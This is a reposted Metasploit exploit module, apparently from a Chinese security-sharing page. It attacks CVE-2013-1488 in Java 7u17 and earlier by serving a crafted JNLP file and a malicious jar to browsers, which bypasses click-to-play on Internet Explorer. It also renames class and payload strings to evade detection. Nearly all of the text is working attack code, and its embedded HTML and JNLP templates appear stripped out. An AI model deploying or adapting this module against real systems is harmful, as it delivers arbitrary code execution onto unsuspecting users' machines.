Java Applet Driver Manager Privileged toString() Remote Code Execution

日期: 2013/06/14 | 标签: | 游览：384

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require ‘msf/core’
require ‘rex’

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,
‘Name’ => ‘Java Applet Driver Manager Privileged toString() Remote Code Execution’,
‘Description’ => %q{
This module abuses the java.sql.DriverManager class where the toString() method
is called over user supplied classes, from a doPrivileged block. The vulnerability
affects Java version 7u17 and earlier. This exploit bypasses click-to-play on IE
throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java
Web Start can be launched automatically throw the ActiveX control. Otherwise the
applet is launched without click-to-play bypass.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘James Forshaw’, # Vulnerability discovery and Analysis
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2013-1488’ ],
[ ‘OSVDB’, ‘91472’ ],
[ ‘BID’, ‘58504’ ],
[ ‘URL’, ‘http://www.contextis.com/research/blog/java-pwn2own/’ ],
[ ‘URL’, ‘http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html’ ],
[ ‘URL’, ‘http://www.zerodayinitiative.com/advisories/ZDI-13-076/’ ]
],
‘Platform’ => [ ‘java’, ‘win’, ‘osx’, ‘linux’ ],
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
‘Targets’ =>
[
[ ‘Generic (Java Payload)’,
{
‘Platform’ => [‘java’],
‘Arch’ => ARCH_JAVA,
}
],
[ ‘Windows x86 (Native Payload)’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_X86,
}
],
[ ‘Mac OS X x86 (Native Payload)’,
{
‘Platform’ => ‘osx’,
‘Arch’ => ARCH_X86,
}
],
[ ‘Linux x86 (Native Payload)’,
{
‘Platform’ => ‘linux’,
‘Arch’ => ARCH_X86,
}
],
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘Jan 10 2013’
))
end

def setup
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1488”, “Exploit.class”)
@exploit_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1488”, “FakeDriver.class”)
@driver_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1488”, “FakeDriver2.class”)
@driver2_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1488”, “META-INF”, “services”, “java.lang.Object”)
@object_services = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1488”, “META-INF”, “services”, “java.sql.Driver”)
@driver_services = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha(“Exploit”.length)
@exploit_class.gsub!(“Exploit”, @exploit_class_name)

@jnlp_name = rand_text_alpha(8)

super
end

def jnlp_file
jnlp_uri = “#{get_uri}/#{@jnlp_name}.jnlp”

jnlp = %Q|



Applet Test JNLP
#{rand_text_alpha(8)}
#{rand_text_alpha(8)}








|
return jnlp
end

def on_request_uri(cli, request)
print_status(“handling request for #{request.uri}”)

case request.uri
when /\.jnlp$/i
send_response(cli, jnlp_file, { ‘Content-Type’ => “application/x-java-jnlp-file” })
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file(“#{@exploit_class_name}.class”, @exploit_class)
jar.add_file(“FakeDriver.class”, @driver_class)
jar.add_file(“FakeDriver2.class”, @driver2_class)
jar.add_file(“META-INF/services/java.lang.Object”, @object_services)
jar.add_file(“META-INF/services/java.sql.Driver”, @driver_services)
metasploit_str = rand_text_alpha(“metasploit”.length)
payload_str = rand_text_alpha(“payload”.length)
jar.entries.each { |entry|
entry.name.gsub!(“metasploit”, metasploit_str)
entry.name.gsub!(“Payload”, payload_str)
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
entry.data = entry.data.gsub(“Payload”, payload_str)
}
jar.build_manifest

send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error(“Failed to generate the payload.”)
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
else
send_redirect(cli, get_resource() + ‘/’, ”)
end

end

def generate_html
jnlp_uri = “#{get_uri}/#{@jnlp_name}.jnlp”

# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass
# Else an tag is used to load the malicious applet, this time there isn’t click2play bypass
html = %Q|





|
return html
end

end

评论关闭。